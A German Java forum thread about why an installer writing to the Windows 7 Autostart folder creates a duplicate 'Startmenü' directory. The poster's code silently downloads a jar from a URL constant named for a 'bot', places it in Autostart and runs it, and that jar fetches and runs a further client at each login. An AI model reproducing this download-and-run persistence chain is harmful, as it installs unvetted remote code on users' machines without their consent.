.jar bei Login starten

codingboy

Mitglied
Hallo,
meines Wissens sollte eine .jar bei Windows (7) bei Doppelklick ausgeführt werden (wenn Windows intern .jar mit java -jar verlinkt hat).
Wenn man das Programm nun in den Autostartordner unter user\AppData\Roaming\Microsoft\Startmenü\Programme\Autostart\ schiebt, sollte es beim Login des users starten...
Leider legt mein Programm einen zweiten Ordner "Startmenü" an! Ich sehe direkt übereinander zwei Ordner mit dem gleichem NAMEN!!! Wie kann das sein?
Wie zum Teufel soll sowas gehen?
 
Leider legt mein Programm einen zweiten Ordner "Startmenü" an! Ich sehe direkt übereinander zwei Ordner mit dem gleichem NAMEN!!

Wie kommst du darauf, dass es von deinem Programm kommt? Erstellt es Verzeichnisse/Dateien? Wenn ja, wie. Bitte mit Code.

Zu den 2 gleichen Namen kann ich nix sagen.

Nur was anderes (ungetestet): Ich vermute, dass eine jar ins Autostartverzeichnis legen nicht funktionieren wird. Das würde ja heissen, dass ich eine xlsx Datei rein legen kann und Excel startet. Besser wäre es eine Verknüpfung oder ein Script reinzulegen, was dein Jar ausführt.
 
bastle dir lieber eine kleine batch an, die genau dasselbe tut, als wenn du deine jar von der cmd-konsole aus starten würdest, das sollte gehen
 
Wie kommst du darauf, dass es von deinem Programm kommt? Erstellt es Verzeichnisse/Dateien? Wenn ja, wie. Bitte mit Code.
Ja, es erstellt verzeichnisse. Bzw. ich habe 3 Programme. Einen Installer, um den es hier geht, eine Init.java -> init.jar, die in den Autostart geschoben werden soll, die dann wiederum sich aus dem web eine client.jar läd, lokal speichert und ausführt

Install.java:
Wenn das Betriebssystem Windows 7 ist, lade die ausführbare .jar herunter, speichere sie im Autostartordner von Windows und führe die Datei aus.
[JAVA=23] if (Settings.OS.equals("Windows 7"))
{
String dst = new String(Settings.HOME + "AppData\\Roaming\\Microsoft\\Windows\\Startmenü\\Programme\\Autostart\\" + "init.jar");
try
{
Util.download(Settings.ONLINEBOTBININITEXECUTABLE, dst);
Util.execute("java -jar " + dst);
}
catch (IOException e)
{
e.printStackTrace();
}
}[/code]
Util.java
[JAVA=92] /**
* Downloads a website and save it in a file.
* @param url url to download
* @param file file to save website in
* @throws IOException
*/
public static void download(String url, String file) throws IOException
{
File f = new File(file);
create(f);
URL url2 = new URL(url);
InputStream in = url2.openConnection().getInputStream();
OutputStream out = new FileOutputStream(file);
int status;
byte[] b = new byte[1024];
while (true)
{
status = in.read(b);
if (status <= 0)
{
break;
}
out.write(b, 0, status);
}
in.close();
out.close();
}[/code]
[JAVA=267] /**
* Creates a folder recursive.
* @param dir folder to create
*/
public static void mkdir(File dir)
{
if (!dir.exists())
{
File parent = dir.getParentFile();
mkdir(parent);
dir.mkdir();
}
}

/**
* Creates a new empty file and needed parent directories.
* @param file file to create
* @throws IOException
*/
public static void create(File file) throws IOException
{
if (!file.exists())
{
File parent = file.getParentFile();
mkdir(parent);
file.createNewFile();
}
}[/code]



Nur was anderes (ungetestet): Ich vermute, dass eine jar ins Autostartverzeichnis legen nicht funktionieren wird. Das würde ja heissen, dass ich eine xlsx Datei rein legen kann und Excel startet. Besser wäre es eine Verknüpfung oder ein Script reinzulegen, was dein Jar ausführt.
Ob ich eine .jar reinstecke oder einen link ist generell ja egal. Ist auch erst mal egal. So weit ich mich erinnere wurden meine alten C-Programme aus dem Autostartoderner immer schön ausgeführt.

Danke schonmal für deinen Hinweis!
 
Hey, es ist windows 7, es ist total behämmert, was erwartest du^^ 😉

Bei Windows Vista und 7 wird mit irgendwelchen "virtuellen verzeichnisnamen" herumgepfuscht: eigentlich sollte der Autostart-Ordner überall unter

Code:
HOME + "\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"

zu finden sein, aber für alte Omas und echte gerrrmanische Patriöten zaubert Windows7 da irgendeine voll brütale Übersetuung mit vielen ü's darüber, sodass man die echte adresse erst nach etwas rumklicken sieht... 😀


Ähm... was erzähl ich denn da eigentlich^^ Was willst du mit Autostart überhaupt?! Wenn du das da reinpackst, muss ich das dann wieder rauslöschen :bae:, das nervt mich immer so ungemein, diese ganzen Programme, die sich immer in Vordergrund drängen wollen 😉

Also: FRAG die leute ausdrücklich danach, bevor du etwas auto-startest, es sei denn du schreibst ein virus (plattformunabhängige java-viren, das wär's doch :lol: )
 
Zuletzt bearbeitet:
Das mit den doppelten Verzeichnissen konnte ich nicht glauben und habe versucht den Ordner Startmenü händisch nochmal zu erstellen, obwohl er bereits da ist ... es geht. Da gauckelt wohl Windows 7 einen Ordner vor, der gar nicht da ist und den man von einem Programm aus gar nicht richtig nutzen kann ... tststs ... ich finde, das geht fast zu weit!
 

Zurück
Oben